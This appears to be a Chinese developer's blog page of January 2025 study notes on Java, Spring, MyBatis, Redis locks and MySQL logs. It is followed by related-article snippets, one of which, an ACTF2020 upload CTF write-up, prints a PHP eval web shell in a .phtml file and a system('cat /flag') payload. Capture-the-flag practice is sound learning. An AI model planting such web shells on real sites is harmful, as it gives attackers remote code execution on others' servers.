2025-01学习笔记
1.SpEL
第一次知道它的全称
Spring Expression Language(SpEL)
@Value("${my.property}")
private String myProperty; @Value("#{2 * 3}")
private int computedValue;
2.逃逸分析
逃逸分析:当一个对象在方法中被定义后,对象只在方法内部使用,则认为没有发生逃逸。
栈上分配
将堆分配转化为栈分配。如果经过逃逸分析后发现,一个对象并没有逃逸出方法的话,那么就可能被优化成栈上分配。这样就无需在堆上分配内存,也无须进行垃圾回收了。可以减少垃圾回收时间和次数。
堆内存参数设置也是系统优化的一项
调整堆大小,提高服务的吞吐量
可以减小full gc次数(因为full gc要stop the world)
Young GC 通常比较高效,且不会影响到整个堆内存的清理。它只会暂停应用的执行片刻(暂停时间较短),影响较小。
Full GC 会清理年轻代、老年代和方法区的垃圾。它通常是一次 "慢" 的 GC,因为涉及的内存范围广,需要清理的对象较多。
3.Mybatis的二级缓存
Mybatis一级缓存默认开启,二级缓存默认不开启
二级缓存作用范围是同一个xml
二级缓存适合以下场景:
静态数据查询:
数据变化频率低,实时性要求不高的场景,比如配置表、字典表等。
不建议开启二级缓存的场景
数据更新频繁:
数据实时性要求高或频繁更新的场景,例如订单、库存等动态数据。
建议开启:数据更新不频繁,主要是静态数据或基础数据的场景。
数据库读操作压力大且查询结果重复性高。
建议关闭或慎用:数据实时性要求高、更新频繁,或者存在多服务修改数据的场景。
4.字符串
1.字符串的对象也是不可变对象,意味着一旦进行修改,就会产生新对象。
2.String对象内部是用字符数组进行保存的。"abc" 等效于 char[] data={ 'a' , 'b' , 'c' }
//例如:
String str = "abc";//相当于:
char data[] = {'a', 'b', 'c'};
String str = new String(data);
// String底层是靠字符数组实现的。
5.Spring的代理
如果目标对象实现了接口,Spring 默认使用 JDK 动态代理。
目标类没有实现接口时,Spring 会选择 CGLIB 动态代理。
AOP
事务:Spring 的事务管理基于 AOP 动态代理。当事务方法被直接调用(例如通过 this.method())时,不经过 Spring 的代理,事务功能会失效。
@Async都要用到代理
MyBatis 在运行时使用了 JDK 动态代理 来为 Mapper 接口生成实现类。
为什么使用 JDK 动态代理?MyBatis 的 Mapper 必须是一个接口。
JDK 动态代理可以根据接口生成代理对象,并拦截方法调用,将其委托给 MyBatis 的核心执行逻辑(如 SQL 执行、参数绑定等)。
6.@RestControllerAdvice 和 @ControllerAdvice
@RestControllerAdvice 和 @ControllerAdvice 的适用范围相同,都会捕获被 @Controller 和 @RestController 修饰的控制器的异常。
7.Redis分布式锁
这是对上一篇博客的简化版
用一个key,然后在那里while循环就行了,只要在时间范围内就一直while
不需要像上一篇一样用两个key
上一篇是必须用公平锁的情况
/*** 获取分布式公平锁** @param timeout 锁的过期时间* @param leaseTime 锁持有的最大时间* @param timeUnit 时间单位* @param sequenceKey 锁状态* @return 是否成功获取锁*/
public boolean tryLock(long timeout, long leaseTime, TimeUnit timeUnit, String sequenceKey) {// 获取锁的超时时间long startTime = System.currentTimeMillis();try {// 不断检查是否是队列中的第一个(即最早请求的线程)while (System.currentTimeMillis() - startTime < timeUnit.toMillis(timeout)) {// 如果当前线程是队列中的第一个,则成功获取锁Boolean success = redisTemplate.opsForValue().setIfAbsent(sequenceKey, sequenceKey, leaseTime, timeUnit);if (success != null && success) {// 设置锁过期时间//redisTemplate.expire(lockKey, leaseTime, timeUnit);return true; // 获取锁成功}// 等待一段时间后重试Thread.sleep(100);}} catch (InterruptedException e) {Thread.currentThread().interrupt();return false;}return false; // 超时未获取锁
}/*** 释放分布式公平锁** @param sequenceKey 锁状态*/
public void unlock(String sequenceKey) {// 释放锁redisTemplate.delete(sequenceKey); // 删除锁状态
}
8.for中可以remove
从后往前循环,可以在for中remove
从前往后不可以,因为从前往后会发生索引得变化
9.@Cacheable存储,会多一个冒号
@Cacheable(value = "Test", key = "'V2:' + #dto.userId + '_' + #dto.userLocation")
为什么存入redis的key多了一个冒号
Test::V2:123456_HK
在 Spring Cache 中,使用 @Cacheable 注解时,生成的 Redis 键会包含一个冒号 : 是由 Spring Cache 默认的 缓存命名策略(KeyGenerator)决定的。
Spring Cache 的默认实现使用了 Redis的 cacheKeyPrefix 策略,会在 value 后加一个:作为分隔符,以区分不同的缓存命名空间和具体键,
所以最好还是用@CacheEvict去删除
10.为什么一般不在yml中配置线程池参数
在 Spring Boot 的 application.yml 中配置线程池时,的确 无法直接配置拒绝策略。
所以一般都@Bean的形式去配置
Spring 的默认线程池拒绝策略是 AbortPolicy。
AbortPolicy:
默认策略:当线程池无法处理任务(例如,线程池已满并且队列也已满),AbortPolicy 会抛出一个 RejectedExecutionException 异常,表示当前任务无法被执行。
11.自定义注解中可以配置一些属性,然后在切面中获取
import java.lang.annotation.*;@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface LogAnnotation {String type() default "";String module() default "";String content() default "";
}
@GetMapping@LogAnnotation(module="登录",content="用户登录",type="1")public String login(){}
12.mysql的日志
1.redo
redo日志,重做,保证持久性
会记录当前事务执行到哪一句了,等系统恢复后,在这一句继续往下执行,保证了持久性
2.undo
undo日志,不做,保证原子性
在执行每条sql的时候都会产生一条相反的sql,在回滚的之后就执行相反的sql,保证原子性
3.binlog
binlog,主从复制,主主复制
写操作:只有涉及数据库修改的数据操作(INSERT、UPDATE、DELETE 等)才会被记录到 Binlog 中。查询操作(SELECT)是不会被记录在 Binlog 中的,因为它们不会改变数据库状态。
事务提交:对于事务操作,只有当事务提交时,才会把事务中的操作记录到 Binlog。也就是说,Binlog 记录的是事务的最终结果。
13.nacos改什么配置都会立即生效吗
不是
如果某些配置只有在初始化时加载(如数据库连接池配置),需要重新启动应用或重建资源来应用新配置。
14.yyyy
日期格式中,yyyy和YYYY含义不同,yyyy才是正解
15.Mybatis获取结果集
16.数据库中的char型
小心它的自动填充
17.前缀索引
相关文章:

2025-01学习笔记
1.SpEL 第一次知道它的全称 Spring Expression Language(SpEL) Value("${my.property}") private String myProperty; Value("#{2 * 3}") private int computedValue; 2.逃逸分析 逃逸分析:当一个对象在方法中被定…...
多线程执行大批量数据查询
// 创建一个固定大小的线程池ExecutorService executorService Executors.newFixedThreadPool(5);// 创建多个查询任务List<Callable<List<ShopCompareBase>>> tasks new ArrayList<>();//查询门店 切割,分成十份List<List<String>> sho…...
ChatGPT高效处理图片技巧使用详解
ChatGPT,作为OpenAI开发的预训练语言模型,主要用于生成自然语言文本的任务。然而,通过一些技巧和策略,我们可以将ChatGPT与图像处理模型结合,实现一定程度上的图像优化和处理。本文将详细介绍如何使用ChatGPT高效处理图…...

leetcode——相交链表(java)
给你两个单链表的头节点 headA 和 headB ,请你找出并返回两个单链表相交的起始节点。如果两个链表不存在相交节点,返回 null 。 图示两个链表在节点 c1 开始相交: 题目数据 保证 整个链式结构中不存在环。 注意,函数返回结果后&…...

RubyFPV开源代码之系统简介
RubyFPV开源代码之系统简介 1. 源由2. 工程架构3. 特性介绍(软件)3.1 特性亮点3.2 数字优势3.3 使用功能 4. DEMO推荐(硬件)4.1 天空端4.2 地面端4.3 按键硬件Raspberry PiRadxa 3W/E/C 5. 软件设计6. 参考资料 1. 源由 RubyFPV以…...

麦田物语学习笔记:创建TransitionManager控制人物场景切换
基本流程 制作场景之间的切换 1.代码思路 (1)为了实现不同场景切换,并且保持当前的persistentScene一直存在,则需要一个Manager去控制场景的加载和卸载,并且在加载每一个场景之后,都要将当前的场景Set Active Scene,保证其为激活的场景,在卸载的时候也可以方便调用当前激活的场…...
后端SpringBoot学习项目-用户管理-增删改查-service层
仓库地址 在初版代码中,已经实现了基础的增删改查。 但是,逻辑处理都放在Controller层中并没有分为Service层,所以,代码升级时候必须补充上去。 代码结构 升级后的代码结构有所变化。 --common 公共插件 --controller…...

机器学习11-学习路径推荐
机器学习11-学习路径推荐 本文希望摒除AI学习商业宣传要素,推荐一条极简的AI学习路线!推荐内容均为在线免费内容,如果有条件可以咨询专业的培训机构! 文章目录 机器学习11-学习路径推荐[toc] 1-AI培训路线第一阶段 Python-人工智能…...

[ACTF2020 新生赛]Upload1
题目 以为是前端验证,试了一下PHP传不上去 可以创建一个1.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中 <script languagephp>eval($_POST[md]);</script><script languagephp>system(cat /flag);&l…...

【PyTorch】0.初识:从吃货角度理解张量
0.初识张量 PyTorch 是一个 Python 深度学习框架,它将数据封装成张量(Tensor)来进行运算。PyTorch 中的张量就是元素为同一种数据类型的多维矩阵。在 PyTorch 中,张量以 "类" 的形式封装起来,对张量的一些运…...

医学图像分析工具09.1:Brainstorm安装教程
1. 安装前准备 **官方安装包和数据:**https://neuroimage.usc.edu/bst/download.php **官方安装教程:**https://neuroimage.usc.edu/brainstorm/Installation Matlab 版本要求: 有 Matlab: R2009b (7.9) 或更高版本没有 Matlab&…...

springboot基于Spring Boot的智慧养老服务系统的设计与实现
系统介绍: 智慧养老服务系统是一种运用现代科技手段,整合各类养老资源,为老年人提供全方位、个性化服务的综合性平台。该系统通过智能化设备、大数据分析、云计算等技术,实现对老年人健康状况、生活需求的实时监控与精准匹配&…...
Linux内核中IPoIB驱动模块的初始化与实现
InfiniBand(IB)是一种高性能的网络互连技术,广泛应用于高性能计算(HPC)和数据中心。为了在InfiniBand网络上运行标准的IP协议栈,Linux内核提供了IP over InfiniBand(IPoIB)驱动模块。IPoIB允许在InfiniBand网络上传输IPv4和IPv6数据包,从而使得现有的IP应用程序能够无…...

WPS计算机二级•幻灯片的基础操作
听说这是目录哦 PPT的正确制作步骤🛣️认识PPT界面布局🏜️PPT基础操作 快捷键🏞️制作PPT时 常用的快捷技巧🏙️快速替换PPT的 文本字体🌃快速替换PPT 指定文本内容🌅能量站😚 PPT的正确制作步…...

.NET9增强OpenAPI规范,不再内置swagger
ASP.NETCore in .NET 9.0 OpenAPI官方文档ASP.NET Core API 应用中的 OpenAPI 支持概述 | Microsoft Learnhttps://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/openapi/overview?viewaspnetcore-9.0https://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/ope…...

基于微信小程序的民宿预订管理系统
作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…...

网络(三) 协议
目录 1. IP协议; 2. 以太网协议; 3. DNS协议, ICMP协议, NAT技术. 1. IP协议: 1.1 介绍: 网际互连协议, 网络层是进行数据真正传输的一层, 进行数据从一个主机传输到另一个主机. 网络层可以将数据主机进行传送, 那么传输层保证数据可靠性, 一起就是TCP/IP协议. 路径选择: 确…...

【深度解析Java 20天速成】04_IDEA的安装与使用
【Why IDEA ?】 【注】JetBrains官方说明: 尽管我们采取了多种措施确保受访者的代表性,但结果可能会略微偏向 JetBrains 产品的用户,因为这些用户更有可能参加调查。 此外,2022年,某美国软件开发商在对近千名专业的Ja…...
gitlab处理空文件夹的提交或空文件夹提交失败
问题描述 厂家发给了我一个压缩包文件,压缩包解压之后本地编译没问题;推送到gitlab之后,再编译就报错了; 问题原因 经过分析之后发现,压缩包解压之后存在很多空文件夹;但是gitlab推送的时候,…...

计算机网络之链路层
本文章目录结构出自于《王道计算机考研 计算机网络_哔哩哔哩_bilibili》 02 数据链路层 在网上看到其他人做了详细的笔记,就不再多余写了,直接参考着学习吧。 1 详解数据链路层-数据链路层的功能【王道计算机网络笔记】_wx63088f6683f8f的技术博客_51C…...
DockerHub与私有镜像仓库在容器化中的应用与管理
哈喽,大家好,我是左手python! Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库,用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...

中南大学无人机智能体的全面评估!BEDI:用于评估无人机上具身智能体的综合性基准测试
作者:Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位:中南大学地球科学与信息物理学院论文标题:BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接:https://arxiv.…...
线程同步:确保多线程程序的安全与高效!
全文目录: 开篇语前序前言第一部分:线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分:synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分ÿ…...
今日科技热点速览
🔥 今日科技热点速览 🎮 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售,主打更强图形性能与沉浸式体验,支持多模态交互,受到全球玩家热捧 。 🤖 人工智能持续突破 DeepSeek-R1&…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现录音机应用
1. 项目配置与权限设置 1.1 配置module.json5 {"module": {"requestPermissions": [{"name": "ohos.permission.MICROPHONE","reason": "录音需要麦克风权限"},{"name": "ohos.permission.WRITE…...
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南 在数字化营销时代,邮件列表效度、用户参与度和网站性能等指标往往决定着创业公司的增长成败。今天,我们将深入解析邮件打开率、网站可用性、页面参与时…...
怎么让Comfyui导出的图像不包含工作流信息,
为了数据安全,让Comfyui导出的图像不包含工作流信息,导出的图像就不会拖到comfyui中加载出来工作流。 ComfyUI的目录下node.py 直接移除 pnginfo(推荐) 在 save_images 方法中,删除或注释掉所有与 metadata …...

给网站添加live2d看板娘
给网站添加live2d看板娘 参考文献: stevenjoezhang/live2d-widget: 把萌萌哒的看板娘抱回家 (ノ≧∇≦)ノ | Live2D widget for web platformEikanya/Live2d-model: Live2d model collectionzenghongtu/live2d-model-assets 前言 网站环境如下,文章也主…...

【Linux】Linux安装并配置RabbitMQ
目录 1. 安装 Erlang 2. 安装 RabbitMQ 2.1.添加 RabbitMQ 仓库 2.2.安装 RabbitMQ 3.配置 3.1.启动和管理服务 4. 访问管理界面 5.安装问题 6.修改密码 7.修改端口 7.1.找到文件 7.2.修改文件 1. 安装 Erlang 由于 RabbitMQ 是用 Erlang 编写的,需要先安…...

Linux基础开发工具——vim工具
文章目录 vim工具什么是vimvim的多模式和使用vim的基础模式vim的三种基础模式三种模式的初步了解 常用模式的详细讲解插入模式命令模式模式转化光标的移动文本的编辑 底行模式替换模式视图模式总结 使用vim的小技巧vim的配置(了解) vim工具 本文章仍然是继续讲解Linux系统下的…...